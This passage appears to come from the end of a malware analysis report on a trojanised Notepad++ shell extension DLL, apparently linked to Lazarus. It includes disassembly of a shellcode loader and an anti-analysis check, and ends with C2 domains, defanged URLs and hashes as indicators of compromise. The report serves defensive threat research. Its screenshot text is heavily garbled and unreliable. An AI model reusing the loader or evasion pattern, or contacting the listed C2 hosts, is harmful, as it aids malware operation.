BIC dword ptr	6F7A7A48 6F7A7A4A 6F7A7A50 6F7A7A5F 6F7A7A5F 6F7A7A61 6F7A7A62 6F7A7A64 6F7A7A64	6A 40 8D 82 C7 85 68 00 03 C7 50 6A 00 FF 15 FF 15	E0 00 00 00 34 FF FF FF 10 00 00 38 F1 78 6	e kerne132.v	ush 40 ea eax, dword ptr ush 1000 dd eax, edi ush eax ush 0 all dword ptr irtualAlloc>	ptr_ds:[e ss: [ebp-C	dx+E0] C],0 rtualAlloc>]		3	*	x87Status x87SW_B x87SW_C1 x87SW_SF Default (stdca 1: [esp] 2: [esp+4	UCHIPUSY) Word 0020 0 x87SW_C1 0 x87SW_C0 0 x87SW_P 0 x87SW_P 0 0000000 0 00000000 0 00001000	0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0	<pre>#_/ 3 (Emp x87SW_C2 x87SW_ES x87SW_U x87SW_U y87SW_U</pre>	0 0 0 0 0
.text:6F7A	A7A64 lazarus.	d11:\$7A64	#6E64								4: [esp+C	00000040			
Ump 1	Dump 2	Dump 3	Dump 4	Dump 5	👹 Watch 1	[x=] Locals	2 Struct	01	03ED90 00	00000	00				
Address	Hex	00 70 00l	75 00 51 00	25 00 25 00	ASCII			^ 01 01	03ED98 00 03ED9C 00	00010	00 40				

Figure 60

The DLL implements an anti-analysis check. It calls the isProcessorFeaturePresent API in order to determine whether _fastfail() is available. If this feature is not supported, the current process is terminated by calling the GetCurrentProcess and TerminateProcess functions (0x17 = **PF_FASTFAIL_AVAILABLE**):



The malware jumps to the shellcode and then frees the memory area allocated earlier:

```
sub_6F7A3680
.text:6F7A7A95 call
.text:6F7A7A9A push
                       [ebp+Buffer]
.text:6F7A7AA0 call
                       esi
.text:6F7A7AA2 add
                       esp, OCh
                                        ; dwFreeType Figure 62
.text:6F7A7AA5 push
                       8000h
                                        ; dwSize
.text:6F7A7AAA push
                       0
                       [ebp+lpAddress] ; lpAddress
.text:6F7A7AAC push
                       ds:VirtualFree
.text:6F7A7AB2 call
.text:6F7A7AB8 mov
                       [ebp+var CC], 1
.text:6F7A7AC2 call
                       ds:GetLastError
```

As we mentioned at the beginning of the analysis, the threat actor only added the export function explained above, and the others are legitimate.

We've studied a legitimate Notepad++ shell extension (SHA256: f3e2e6f9e7aa065e89040a0c16d1f948489b3751e5eb5efac8106d5f7d65d98d 64-bit) and compared the export functions between the 2 files. As we can see below, the functions are very similar:



Figure 63

	1 m m m m 1 m m m 1 m m m 1 m m m 1 m m m 1 m m m 1 m m m 1 m m m 1 m m m 1 m m m 1 m m m 1 m m m 1 m m m 1 m m m 1 m m m 1 m m m 1 m m m m 1 m m m m 1 m m m m m m m m m m m m m m m m m m m	0001800030C0 ; Exported entry 3. DllInstall 0001800030C0 0001800030C0 0001800030C0 0001800030C0 public DllInstall 0001800030C0 DllInstall proc near 0001800030C0 dulnifParam= quord ptr -18h 0001800030C0 aug_0= quord ptr 8 0001800030C0 aug_0= quord ptr 8 0001800030C0 r(rsp+arg_0], ct 0001800030C0 mov [rsp+arg_0], ct 0001800030CS mov [rsp+arg_0], ct 0001800030CS mov [rsp+arg_0], ct 0001800030CS mov [rsp+arg_0], ct 0001800030CS mov [rsp+arg_0], ct	
	*		*
.tx::0000001580030C4 mov tx::0000001580030C4 mov tx::0000001580030C4 mov tx::0000001580030C4 mov tx::00000001580030F7 mov tx::00000001580030F9 xx1 tx::00000001580030F9 xx1 tx::00000001580030F9 jmp	["sp30HodGLELEARS], 0 ; ddELEParan "PJ_Dlalogunc ; }Dollangunc "PJ_Dlalogunc ; }Dollangunc edx, 68h ; ':]Dreplatellane rcx, cs1HoldLe ; hinstance cs:DlalogDeParambi eax, eax short loc_100003E10	.text:000000012000030F0 jmp short loc_180003E10 .text:00000001200003F0 jmp short loc_180003E10 .text:0000001200003F0 jmp short loc_180003E10 .text:0000001200003E00 jmp short loc_180003E10 .text:0000001200002E10 dd .text:0000001200002E10 dd .text:0000001200002E10 dd .text:0000001200002E10 dd .text:000000120003E10 .text:000000120003E10 .text:000000120003E10 .text:000000120003E10 .text:000000120003E10 .text:000000120003E10 .text:000000120003E10	<_1800030FF: a rcx, AUGinstallingNo ; "Uninstalling not supported, use DllUnre" 11 sub_180003786 v eax, 80004001h
		<pre>Lext:000000130003720 .text:00000013003727 .text:0000001300377 .text:0000001300377 .text:0000001300377 .text:0000001300377 .text:0000001300377 .text:0000001300377 .text:0000001300377 .text:0000001300377 .text:0000001300377 .text:0000001300377 .text:000000130037 .text:0000001300377 .text:0000001300377 .text:0000001300377 .text:0000001300377 .text:0000001300377 .text:0000001300377 .text:0000001300377 .text:000000130037 .text:000000130037 .text:000000130037 .text:000000130037 .text:000000130037 .text:000000130037 .text:000000130037 .text:000000130037 .text:000000130037 .text:000000130037 .text:000000130037 .text:000000130037 .text:0000000037 .text:000000000000000000000000000000</pre>	

Figure 64 References

MSDN: https://docs.microsoft.com/en-us/windows/win32/api/

Fakenet: https://github.com/fireeye/flare-fakenet-ng

VirusTotal: https://www.virustotal.com/gui/file/803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d7947269

MalwareBazaar: https://bazaar.abuse.ch/sample/803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d7947269/

INDICATORS OF COMPROMISE

C2 domains:

mante.li

bmanal.com

shopandtravelusa.com

industryinfostructure.com

SHA256: 803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d7947269

URLs:

- https[:]//mante.li/images/draw.php
- https[:]//bmanal.com/images/draw.php
- https[:]//shopandtravelusa.com/vendor/monolog/monolog/src/Monolog/monolog.php
- https[:]//industryinfostructure.com/templates/worldgroup/view.php